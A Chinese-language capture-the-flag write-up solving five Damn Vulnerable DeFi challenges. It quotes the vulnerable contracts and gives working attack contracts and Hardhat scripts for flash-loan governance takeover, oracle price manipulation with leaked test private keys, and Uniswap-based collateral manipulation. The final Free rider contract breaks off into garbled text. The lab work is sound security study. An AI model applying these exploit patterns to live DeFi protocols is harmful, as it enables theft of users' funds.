题目预览

  • Selfie
    • 分析
    • 攻击
  • Compromised
    • 分析
    • 攻击
  • Puppet
    • 分析
    • 攻击
  • Puppet v2
    • 分析
    • 攻击
  • Free rider
    • 分析
    • 攻击

Selfie

分析

题目要求:

A new cool lending pool has launched! It’s now offering flash loans of
DVT tokens.

Wow, and it even includes a really fancy governance mechanism to
control it.

What could go wrong, right ?

You start with no DVT tokens in balance, and the pool has 1.5 million.
Your objective: take them all.

大意是有一个提供DVT代币的闪电贷,池中有一百五十万个DVT,而我们一无所有,但我们需要拿走全部的DVT.
题目给了两个合约,一个是闪电贷合约,另一个是闪电贷的治理合约
闪电贷合约:

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts/security/ReentrancyGuard.sol";import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";import "@openzeppelin/contracts/utils/Address.sol";import "./SimpleGovernance.sol";/** * @title SelfiePool * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */contract SelfiePool is ReentrancyGuard {    using Address for address;    ERC20Snapshot public token;    SimpleGovernance public governance;    event FundsDrained(address indexed receiver, uint256 amount);    modifier onlyGovernance() {        require(msg.sender == address(governance), "Only governance can execute this action");        _;    }    constructor(address tokenAddress, address governanceAddress) {        token = ERC20Snapshot(tokenAddress);        governance = SimpleGovernance(governanceAddress);    }    function flashLoan(uint256 borrowAmount) external nonReentrant {        uint256 balanceBefore = token.balanceOf(address(this));        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");                token.transfer(msg.sender, borrowAmount);                        require(msg.sender.isContract(), "Sender must be a deployed contract");        msg.sender.functionCall(            abi.encodeWithSignature(                "receiveTokens(address,uint256)",                address(token),                borrowAmount            )        );                uint256 balanceAfter = token.balanceOf(address(this));        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");    }    function drainAllFunds(address receiver) external onlyGovernance {        uint256 amount = token.balanceOf(address(this));        token.transfer(receiver, amount);                emit FundsDrained(receiver, amount);    }}

这个合约只有两个函数,一个函数用来进行闪电贷,在其中触发我们的receiveTokens函数,另一个函数只有治理合约能够调用,用来向其他合约转钱。
治理合约:

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "../DamnValuableTokenSnapshot.sol";import "@openzeppelin/contracts/utils/Address.sol";/** * @title SimpleGovernance * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */contract SimpleGovernance {    using Address for address;        struct GovernanceAction {        address receiver;        bytes data;        uint256 weiAmount;        uint256 proposedAt;        uint256 executedAt;    }        DamnValuableTokenSnapshot public governanceToken;    mapping(uint256 => GovernanceAction) public actions;    uint256 private actionCounter;    uint256 private ACTION_DELAY_IN_SECONDS = 2 days;    event ActionQueued(uint256 actionId, address indexed caller);    event ActionExecuted(uint256 actionId, address indexed caller);    constructor(address governanceTokenAddress) {        require(governanceTokenAddress != address(0), "Governance token cannot be zero address");        governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);        actionCounter = 1;    }        function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {        require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");        require(receiver != address(this), "Cannot queue actions that affect Governance");        uint256 actionId = actionCounter;        GovernanceAction storage actionToQueue = actions[actionId];        actionToQueue.receiver = receiver;        actionToQueue.weiAmount = weiAmount;        actionToQueue.data = data;        actionToQueue.proposedAt = block.timestamp;        actionCounter++;        emit ActionQueued(actionId, msg.sender);        return actionId;    }    function executeAction(uint256 actionId) external payable {        require(_canBeExecuted(actionId), "Cannot execute this action");                GovernanceAction storage actionToExecute = actions[actionId];        actionToExecute.executedAt = block.timestamp;        actionToExecute.receiver.functionCallWithValue(            actionToExecute.data,            actionToExecute.weiAmount        );        emit ActionExecuted(actionId, msg.sender);    }    function getActionDelay() public view returns (uint256) {        return ACTION_DELAY_IN_SECONDS;    }    /**     * @dev an action can only be executed if:     * 1) it's never been executed before and     * 2) enough time has passed since it was first proposed     */    function _canBeExecuted(uint256 actionId) private view returns (bool) {        GovernanceAction memory actionToExecute = actions[actionId];        return (            actionToExecute.executedAt == 0 &&            (block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)        );    }        function _hasEnoughVotes(address account) private view returns (bool) {        uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);        uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;        return balance > halfTotalSupply;    }}

这个合约有两个函数,第一个函数的意思是,当你拥有了矿池中半数以上的DVT代币后,你就能够通过这个合约执行一次调用操作,queueAction函数会验证你是否拥有足够的token,如果有则将你想要执行的调用存入链上,在两天之后输入你的id即可在executeAction中执行该调用。

很明显,我们需要存入并且执行调用,我们可以在executeAction函数中去执行闪电贷合约中的drainAllFunds函数,这样即可绕开onlyGovernance的限定,将闪电贷合约中的token全部发送给我们,掏空该合约。

攻击

攻击合约:

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "../DamnValuableTokenSnapshot.sol";import "@openzeppelin/contracts/utils/Address.sol";import "./SelfiePool.sol";import "./SimpleGovernance.sol";contract selfieAttack{    using Address for address;    SelfiePool public pool;    SimpleGovernance governance;    DamnValuableTokenSnapshot token;    bytes data;    uint256 acountID;    constructor(address _pool,address _governance,address attacker,address _token){        pool = SelfiePool(_pool);        governance = SimpleGovernance(_governance);        token = DamnValuableTokenSnapshot(_token);    }    function loan(uint256 amount,bytes memory _data)public payable{        data = _data;        pool.flashLoan(amount);    }    function receiveTokens(address _token,uint256 amount)public{        token.snapshot();        acountID = governance.queueAction(address(pool),data,0);        token.transfer(msg.sender,amount);    }    function complete()public{        governance.executeAction(acountID);        token.transfer(msg.sender,token.balanceOf(address(this)));    }        fallback()external payable{    }}

攻击原理很简单,先闪电贷借出全部的token,然后再receiveTokens函数中调用queueAction函数,将构造好的data和闪电贷合约地址传入,然后将钱返还给闪电贷合约。最后调用complete函数,执行executeAction函数,将钱转入我们的账户。
js攻击合约:

it('Exploit', async function () {        /** CODE YOUR EXPLOIT HERE */        const data = web3.eth.abi.encodeFunctionCall(            {                name:'drainAllFunds',                type:'function',                inputs:[{                    type:'address',                    name:'receiver'                }]            },[attacker.address]);        const SelfieAttackFactory = await ethers.getContractFactory("selfieAttack",attacker);        this.attack =await SelfieAttackFactory.deploy(this.pool.address,this.governance.address,attacker.address,this.token.address);        await this.attack.connect(attacker).loan(TOKENS_IN_POOL,data);        await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]);        await this.attack.connect(attacker).complete();    });

首先构造data,调用loan函数后,在区块上渡过两天的时间,即可调用complete函数完成攻击。

执行脚本完成攻击。

Compromised

分析

题目要求:

While poking around a web service of one of the most popular DeFi
projects in the space, you get a somewhat strange response from their
server. This is a snippet:

      HTTP/2 200 OK      content-type: text/html      content-language: en      vary: Accept-Encoding      server: cloudflare      4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35      4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34

A related on-chain exchange is selling (absurdly overpriced)
collectibles called “DVNFT”, now at 999 ETH each

This price is fetched from an on-chain oracle, and is based on three
trusted reporters:
0xA73209FB1a42495120166736362A1DfA9F95A105,0xe92401A4d3af5E446d93D11EEc806b1462b39D15
and 0x81A5D6E50C214044bE44cA0CB057fe119097850c.

Starting with only 0.1 ETH in balance, you must steal all ETH
available in the exchange.

大意是有一个交易所在售卖一种非常昂贵的代币DVNFT,每个价值999ETH,要我们以0.1ETH的余额来拿走交易所中全部的ETH
预言机合约:

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";/** * @title TrustfulOracle * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) * @notice A price oracle with a number of trusted sources that individually report prices for symbols. *         The oracle's price for a given symbol is the median price of the symbol over all sources. */contract TrustfulOracle is AccessControlEnumerable {    bytes32 public constant TRUSTED_SOURCE_ROLE = keccak256("TRUSTED_SOURCE_ROLE");    bytes32 public constant INITIALIZER_ROLE = keccak256("INITIALIZER_ROLE");    // Source address => (symbol => price)    mapping(address => mapping (string => uint256)) private pricesBySource;    modifier onlyTrustedSource() {        require(hasRole(TRUSTED_SOURCE_ROLE, msg.sender));        _;    }    modifier onlyInitializer() {        require(hasRole(INITIALIZER_ROLE, msg.sender));        _;    }    event UpdatedPrice(        address indexed source,        string indexed symbol,        uint256 oldPrice,        uint256 newPrice    );    constructor(address[] memory sources, bool enableInitialization) {        require(sources.length > 0);        for(uint256 i = 0; i < sources.length; i++) {            _setupRole(TRUSTED_SOURCE_ROLE, sources[i]);        }        if (enableInitialization) {            _setupRole(INITIALIZER_ROLE, msg.sender);        }    }    // A handy utility allowing the deployer to setup initial prices (only once)    function setupInitialPrices(        address[] memory sources,        string[] memory symbols,        uint256[] memory prices    )         public        onlyInitializer    {        // Only allow one (symbol, price) per source        require(sources.length == symbols.length && symbols.length == prices.length);        for(uint256 i = 0; i < sources.length; i++) {            _setPrice(sources[i], symbols[i], prices[i]);        }        renounceRole(INITIALIZER_ROLE, msg.sender);    }    function postPrice(string calldata symbol, uint256 newPrice) external onlyTrustedSource {        _setPrice(msg.sender, symbol, newPrice);    }    function getMedianPrice(string calldata symbol) external view returns (uint256) {        return _computeMedianPrice(symbol);    }    function getAllPricesForSymbol(string memory symbol) public view returns (uint256[] memory) {        uint256 numberOfSources = getNumberOfSources();        uint256[] memory prices = new uint256[](numberOfSources);        for (uint256 i = 0; i < numberOfSources; i++) {            address source = getRoleMember(TRUSTED_SOURCE_ROLE, i);            prices[i] = getPriceBySource(symbol, source);        }        return prices;    }    function getPriceBySource(string memory symbol, address source) public view returns (uint256) {        return pricesBySource[source][symbol];    }    function getNumberOfSources() public view returns (uint256) {        return getRoleMemberCount(TRUSTED_SOURCE_ROLE);    }    function _setPrice(address source, string memory symbol, uint256 newPrice) private {        uint256 oldPrice = pricesBySource[source][symbol];        pricesBySource[source][symbol] = newPrice;        emit UpdatedPrice(source, symbol, oldPrice, newPrice);    }    function _computeMedianPrice(string memory symbol) private view returns (uint256) {        uint256[] memory prices = _sort(getAllPricesForSymbol(symbol));        // calculate median price        if (prices.length % 2 == 0) {            uint256 leftPrice = prices[(prices.length / 2) - 1];            uint256 rightPrice = prices[prices.length / 2];            return (leftPrice + rightPrice) / 2;        } else {            return prices[prices.length / 2];        }    }    function _sort(uint256[] memory arrayOfNumbers) private pure returns (uint256[] memory) {        for (uint256 i = 0; i < arrayOfNumbers.length; i++) {            for (uint256 j = i + 1; j < arrayOfNumbers.length; j++) {                if (arrayOfNumbers[i] > arrayOfNumbers[j]) {                    uint256 tmp = arrayOfNumbers[i];                    arrayOfNumbers[i] = arrayOfNumbers[j];                    arrayOfNumbers[j] = tmp;                }            }        }                return arrayOfNumbers;    }}

这个合约提供了与链上交易所进行交互的函数,包括根据不同的方式得到不同的价格,以及初始化价格等函数。
交易所合约:

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts/utils/Address.sol";import "@openzeppelin/contracts/security/ReentrancyGuard.sol";import "./TrustfulOracle.sol";import "../DamnValuableNFT.sol";/** * @title Exchange * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */contract Exchange is ReentrancyGuard {    using Address for address payable;    DamnValuableNFT public immutable token;    TrustfulOracle public immutable oracle;    event TokenBought(address indexed buyer, uint256 tokenId, uint256 price);    event TokenSold(address indexed seller, uint256 tokenId, uint256 price);    constructor(address oracleAddress) payable {        token = new DamnValuableNFT();        oracle = TrustfulOracle(oracleAddress);    }    function buyOne() external payable nonReentrant returns (uint256) {        uint256 amountPaidInWei = msg.value;        require(amountPaidInWei > 0, "Amount paid must be greater than zero");        // Price should be in [wei / NFT]        uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());        require(amountPaidInWei >= currentPriceInWei, "Amount paid is not enough");        uint256 tokenId = token.safeMint(msg.sender);                payable(msg.sender).sendValue(amountPaidInWei - currentPriceInWei);        emit TokenBought(msg.sender, tokenId, currentPriceInWei);        return tokenId;    }    function sellOne(uint256 tokenId) external nonReentrant {        require(msg.sender == token.ownerOf(tokenId), "Seller must be the owner");        require(token.getApproved(tokenId) == address(this), "Seller must have approved transfer");        // Price should be in [wei / NFT]        uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());        require(address(this).balance >= currentPriceInWei, "Not enough ETH in balance");        token.transferFrom(msg.sender, address(this), tokenId);        token.burn(tokenId);                payable(msg.sender).sendValue(currentPriceInWei);        emit TokenSold(msg.sender, tokenId, currentPriceInWei);    }    receive() external payable {}}

合约提供了两个函数,一个用来买代币,一个用来卖代币
根据以上合约我们可以发现,无论是买入还是卖出,价格都由这个函数决定

而这个函数能够修改Price


而要调用这个函数,就需要调用者为trustedSource,我们知道题目给了我们三个地址,而三个地址都为trustedSource,所以我们如果能够控制这三个地址,就能够随意的更改价格,来达到我们的预期效果。

此时,通过解码发现,题目最开始给出的两串hex码,恰好是三个账户中其中两个的私钥,因此,我们就能够通过控制其中两个账户来达到我们的目的。

攻击

私钥计算脚本:

package mainimport ("encoding/base64""encoding/hex""fmt""strings")func main() {//题目给的hex码var str = []string{"4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35","4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34"}for i := 0; i < len(str); i++ {//去除全部空格str[i] = strings.Replace(str[i], " ", "", -1)//hex转Acsii码message, err := hex.DecodeString(str[i])if err != nil {fmt.Println(err)}// base64解码消息data, err := base64.StdEncoding.DecodeString(string(message))// 出错处理if err != nil {fmt.Println(err)} else {// 打印解码完成的数据fmt.Println(string(data))}}}

脚本结果如下

得到私钥后,编写js攻击代码:

it('Exploit', async function () {        /** CODE YOUR EXPLOIT HERE */        //账户私钥        privateKey1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9"        privateKey2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48"        //解锁账户地址        addr1 = new ethers.Wallet(privateKey1, ethers.provider)        addr2 = new ethers.Wallet(privateKey2, ethers.provider)        //修改为最低价        await this.oracle.connect(addr1).postPrice("DVNFT", 0);        await this.oracle.connect(addr2).postPrice("DVNFT", 0);        //买入代币        await this.exchange.connect(attacker).buyOne({ value: 1 });        //修改为最高价        await this.oracle.connect(addr1).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);        await this.oracle.connect(addr2).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);        //卖出代币        await this.nftToken.connect(attacker).approve(this.exchange.address, 0)        await this.exchange.connect(attacker).sellOne(0)        //将价格修改为初始价格        await this.oracle.connect(addr1).postPrice("DVNFT", INITIAL_NFT_PRICE);        await this.oracle.connect(addr2).postPrice("DVNFT", INITIAL_NFT_PRICE);    });

首先通过hardhat解锁账户地址,我们就可以使用这两个账户来进行调用,然后先将价格修改为最低价,再买入,修改为最高价后卖出,再将价格修改回去,即可完成攻击。

执行脚本,攻击完成。

Puppet

分析

题目要求

There’s a huge lending pool borrowing Damn Valuable Tokens (DVTs),
where you first need to deposit twice the borrow amount in ETH as
collateral. The pool currently has 100000 DVTs in liquidity.

There’s a DVT market opened in an Uniswap v1 exchange, currently with
10 ETH and 10 DVT in liquidity.

Starting with 25 ETH and 1000 DVTs in balance, you must steal all
tokens from the lending pool.

大意是有一个借贷池在借贷DVT,池中有十万DYT,且存在一个交易市场,现有10ETH和10DVT的流动性,我们需要以25ETH和1000DVT的余额拿走借贷池中的所有代币。
借贷池合约:

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts/security/ReentrancyGuard.sol";import "@openzeppelin/contracts/utils/Address.sol";import "../DamnValuableToken.sol";/** * @title PuppetPool * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */contract PuppetPool is ReentrancyGuard {    using Address for address payable;    mapping(address => uint256) public deposits;    address public immutable uniswapPair;    DamnValuableToken public immutable token;        event Borrowed(address indexed account, uint256 depositRequired, uint256 borrowAmount);    constructor (address tokenAddress, address uniswapPairAddress) {        token = DamnValuableToken(tokenAddress);        uniswapPair = uniswapPairAddress;    }    // Allows borrowing `borrowAmount` of tokens by first depositing two times their value in ETH    function borrow(uint256 borrowAmount) public payable nonReentrant {        uint256 depositRequired = calculateDepositRequired(borrowAmount);                require(msg.value >= depositRequired, "Not depositing enough collateral");                if (msg.value > depositRequired) {            payable(msg.sender).sendValue(msg.value - depositRequired);        }        deposits[msg.sender] = deposits[msg.sender] + depositRequired;        // Fails if the pool doesn't have enough tokens in liquidity        require(token.transfer(msg.sender, borrowAmount), "Transfer failed");        emit Borrowed(msg.sender, depositRequired, borrowAmount);    }    function calculateDepositRequired(uint256 amount) public view returns (uint256) {        return amount * _computeOraclePrice() * 2 / 10 ** 18;    }    function _computeOraclePrice() private view returns (uint256) {        // calculates the price of the token in wei according to Uniswap pair        return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);    }     /**     ... functions to deposit, redeem, repay, calculate interest, and so on ...     */}

借贷池提供两个函数,一个用来借钱,另一个用来计算借钱时需要支付的eth。
本题只提供了这一个合约,我们可以注意到在calculatedDepositRequired函数中,是根据流通池中现有的eth和token的比例来计算应支付的eth。

这里在计算时因为乘了10**18所以会存在一个溢出,但需要大量的eth,很明显我们没有那么多。所以我们只能从token与eth的比例入手。
因为使用了uniswapExchangev1合约,并在项目中提供了字节码,所以我们能够找到合约源码。

我们利用这个函数将自己的token与uniswap的ETH进行互换,token变得很大,eth变得很小,比例就变得很小了,我们就可以用现有的eth换出借贷池中所有的token。

攻击

js攻击代码:

it('Exploit', async function () {        /** CODE YOUR EXPLOIT HERE */        //将手中的token与uniswap交换ETH        await this.token.connect(attacker).approve(this.uniswapExchange.address,ATTACKER_INITIAL_TOKEN_BALANCE)        // const ethPayout = await this.uniswapExchange.connect(attacker).getTokenToEthInputPrice(ATTACKER_INITIAL_TOKEN_BALANCE,{gasLimit:1e6})        // console.log(ethers.utils.formatEther(ethPayout))        await this.uniswapExchange.connect(attacker).tokenToEthSwapInput(            ethers.utils.parseEther('999'),             ethers.utils.parseEther("9"),             (await ethers.provider.getBlock('latest')).timestamp * 2,         )        //计算将token全部换走需要的eth        depositNeed = this.lendingPool.connect(attacker).calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE)        //交换token        await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE,{value:depositNeed})

首先将自己手中的token与uniswap交换eth,然后计算将借贷池中全部token转走需要的eth,最后将Pool中的token全部借走。

执行脚本,完成攻击。

Puppet v2

分析

题目要求:

The developers of the last lending pool are saying that they’ve
learned the lesson. And just released a new version!

Now they’re using a Uniswap v2 exchange as a price oracle, along with
the recommended utility libraries. That should be enough.

You start with 20 ETH and 10000 DVT tokens in balance. The new lending
pool has a million DVT tokens in balance. You know what to do

大意是他们吸取了上个题的教训,这次采用了uniswapv2,我们有20ETH和10000DVT代币,需要我们讲借贷池中的100万DVT代币全部拿走。
借贷池合约:

// SPDX-License-Identifier: MITpragma solidity ^0.6.0;import "@uniswap/v2-periphery/contracts/libraries/UniswapV2Library.sol";import "@uniswap/v2-periphery/contracts/libraries/SafeMath.sol";interface IERC20 {    function transfer(address to, uint256 amount) external returns (bool);    function transferFrom(address from, address to, uint256 amount) external returns (bool);    function balanceOf(address account) external returns (uint256);}/** * @title PuppetV2Pool * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */contract PuppetV2Pool {    using SafeMath for uint256;    address private _uniswapPair;    address private _uniswapFactory;    IERC20 private _token;    IERC20 private _weth;        mapping(address => uint256) public deposits;            event Borrowed(address indexed borrower, uint256 depositRequired, uint256 borrowAmount, uint256 timestamp);    constructor (        address wethAddress,        address tokenAddress,        address uniswapPairAddress,        address uniswapFactoryAddress    ) public {        _weth = IERC20(wethAddress);        _token = IERC20(tokenAddress);        _uniswapPair = uniswapPairAddress;        _uniswapFactory = uniswapFactoryAddress;    }    /**     * @notice Allows borrowing `borrowAmount` of tokens by first depositing three times their value in WETH     *         Sender must have approved enough WETH in advance.     *         Calculations assume that WETH and borrowed token have same amount of decimals.     */    function borrow(uint256 borrowAmount) external {        require(_token.balanceOf(address(this)) >= borrowAmount, "Not enough token balance");        // Calculate how much WETH the user must deposit        uint256 depositOfWETHRequired = calculateDepositOfWETHRequired(borrowAmount);                // Take the WETH        _weth.transferFrom(msg.sender, address(this), depositOfWETHRequired);        // internal accounting        deposits[msg.sender] += depositOfWETHRequired;        require(_token.transfer(msg.sender, borrowAmount));        emit Borrowed(msg.sender, depositOfWETHRequired, borrowAmount, block.timestamp);    }    function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {        return _getOracleQuote(tokenAmount).mul(3) / (10 ** 18);    }    // Fetch the price from Uniswap v2 using the official libraries    function _getOracleQuote(uint256 amount) private view returns (uint256) {        (uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves(            _uniswapFactory, address(_weth), address(_token)        );        return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);    }}

这个合约与上题差别不大,只是将eth换成了weth,也就是对eth进行了封装。所以这个题的攻击思路与上个题也是完全一样的,只不过从uniswapv1转换成了uniswapv2,所以我们与Token进行对换 的代币就从eth变成了weth。

攻击

js攻击合约:

it('Exploit', async function () {        /** CODE YOUR EXPLOIT HERE */                await this.token.connect(attacker).approve(this.uniswapRouter.address, ATTACKER_INITIAL_TOKEN_BALANCE);        //将手中的token换成weth        await this.uniswapRouter.connect(attacker).swapExactTokensForTokens(            ATTACKER_INITIAL_TOKEN_BALANCE, // transfer exactly 10,000 tokens            ethers.utils.parseEther("9"), // minimum of 9 WETH return            [this.token.address, this.weth.address], // token addresses            attacker.address,            (await ethers.provider.getBlock('latest')).timestamp * 2,   // deadline        )        //计算换出全部token需要的weth        const deposit = await this.lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);                await this.weth.connect(attacker).approve(this.lendingPool.address, deposit)        await attacker.sendTransaction({            to: this.weth.address,            value: ethers.utils.parseEther("19.9")//20会出现out of gas        });        await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE, {            gasLimit: 1e6        });    });

思路与上题几乎一样,先给uniswap权限,随后将token通过uniswap的函数转换成weth,再将我们手里的eth也转换为weth,然后token与weth的兑换率就变得很低,所以我们就可以将我们的weth发送给pool,从而将token全部取走。

执行脚本,攻击成功。

Free rider

分析

题目要求:

A new marketplace of Damn Valuable NFTs has been released! There’s
been an initial mint of 6 NFTs, which are available for sale in the
marketplace. Each one at 15 ETH.

A buyer has shared with you a secret alpha: the marketplace is
vulnerable and all tokens can be taken. Yet the buyer doesn’t know how
to do it. So it’s offering a payout of 45 ETH for whoever is willing
to take the NFTs out and send them their way.

You want to build some rep with this buyer, so you’ve agreed with the
plan.

Sadly you only have 0.5 ETH in balance. If only there was a place
where you could get free ETH, at least for an instant.

大意是,有一个发行nft的新市场发行了六个nft,每个nft价值15eth,我们只有0.5eth的余额,但我们需要拿走全部的eth并发送给买家,买家会给我们45个ETH。

市场合约:

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts/utils/Address.sol";import "@openzeppelin/contracts/security/ReentrancyGuard.sol";import "../DamnValuableNFT.sol";/** * @title FreeRiderNFTMarketplace * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */contract FreeRiderNFTMarketplace is ReentrancyGuard {    using Address for address payable;    DamnValuableNFT public token;    uint256 public amountOfOffers;    // tokenId -> price    mapping(uint256 => uint256) private offers;    event NFTOffered(address indexed offerer, uint256 tokenId, uint256 price);    event NFTBought(address indexed buyer, uint256 tokenId, uint256 price);        constructor(uint8 amountToMint) payable {        require(amountToMint < 256, "Cannot mint that many tokens");        token = new DamnValuableNFT();        for(uint8 i = 0; i < amountToMint; i++) {            token.safeMint(msg.sender);        }            }    function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external nonReentrant {        require(tokenIds.length > 0 && tokenIds.length == prices.length);        for (uint256 i = 0; i < tokenIds.length; i++) {            _offerOne(tokenIds[i], prices[i]);        }    }    function _offerOne(uint256 tokenId, uint256 price) private {        require(price > 0, "Price must be greater than zero");        require(            msg.sender == token.ownerOf(tokenId),            "Account offering must be the owner"        );        require(            token.getApproved(tokenId) == address(this) ||            token.isApprovedForAll(msg.sender, address(this)),            "Account offering must have approved transfer"        );        offers[tokenId] = price;        amountOfOffers++;        emit NFTOffered(msg.sender, tokenId, price);    }    function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {        for (uint256 i = 0; i < tokenIds.length; i++) {            _buyOne(tokenIds[i]);        }    }    function _buyOne(uint256 tokenId) private {               uint256 priceToPay = offers[tokenId];        require(priceToPay > 0, "Token is not being offered");        require(msg.value >= priceToPay, "Amount paid is not enough");        amountOfOffers--;        // transfer from seller to buyer        token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);        // pay seller        payable(token.ownerOf(tokenId)).sendValue(priceToPay);        emit NFTBought(msg.sender, tokenId, priceToPay);    }        receive() external payable {}}

看完合约我们可以发现,在_buyOne中存在两个问题,一个是用msg.value来判断价格是否超出当前价格,如果我们进行多次执行就能用一份价格买走多个nft;二是在nft从owner转给我们之后,再将用于购买的eth又发给了代币拥有者,但这时的代币拥有者已经变成了买家,所以等于买家没花任何钱就买到了nft。
买家合约:

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts/utils/Address.sol";import "@openzeppelin/contracts/security/ReentrancyGuard.sol";import "@openzeppelin/contracts/token/ERC721/IERC721.sol";import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";/** * @title FreeRiderBuyer * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */contract FreeRiderBuyer is ReentrancyGuard, IERC721Receiver {    using Address for address payable;    address private immutable partner;    IERC721 private immutable nft;    uint256 private constant JOB_PAYOUT = 45 ether;    uint256 private received;    constructor(address _partner, address _nft) payable {        require(msg.value == JOB_PAYOUT);        partner = _partner;        nft = IERC721(_nft);        IERC721(_nft).setApprovalForAll(msg.sender, true);    }    // Read https://eips.ethereum.org/EIPS/eip-721 for more info on this function    function onERC721Received(        address,        address,        uint256 _tokenId,        bytes memory    )         external        override        nonReentrant        returns (bytes4)     {        require(msg.sender == address(nft));        require(tx.origin == partner);        require(_tokenId >= 0 && _tokenId <= 5);        require(nft.ownerOf(_tokenId) == address(this));                received++;        if(received == 6) {                        payable(partner).sendValue(JOB_PAYOUT);        }                    return IERC721Receiver.onERC721Received.selector;    }}

这个没啥好说的,就是将六个nft全部发给买家后,买家就会给我们45个eth

因此我们只需要拥有15个eth,就能够买到所有的nft,那这十五个eth从哪来呢,我又想到了uniswap,我们知道uniswapV2是提供闪电贷功能的,所以,只要我们从uniswapV2中借出15个eth,买到nft后再卖出两个,再买入两个,我们就可以将nft发给买家,并把借来的15个eth连利息一起还给uniswap。

攻击

攻击合约:

import "hardhat/console.sol";import "@openzeppelin/contracts/token/ERC721/ERC721.sol";import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol";import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";import "@uniswap/v2-core/contracts/interfaces/IERC20.sol";import "../free-rider/FreeRiderNFTMarketplace.sol";contract AttackFreeRider is IUniswapV2Callee , IERC721Receiver { using Address for address; address  payable immutable weth; address immutable dvt; address  immutable factory; address payable  immutable buyerMarketPlace; address immutable buyer; address immutable nft; address immutable owner; constructor( address payable _weth, address _factory, address _dvt, address payable _buyerMarketplace, address _buyer, address _nft ) { weth = _weth; dvt = _dvt; factory = _factory; buyerMarketPlace = _buyerMarketplace; buyer = _buyer; nft = _nft; owner=msg.sender; } function flashSwap(address _tokenBorrow, uint256 _amount) external { address pair = IUniswapV2Factory(factory).getPair(_tokenBorrow, dvt); require(pair != address(0), "!pair init"); address token0 = IUniswapV2Pair(pair).token0(); address token1 = IUniswapV2Pair(pair).token1(); uint256 amount0Out = _tokenBorrow == token0 " />
执行脚本,攻击完成。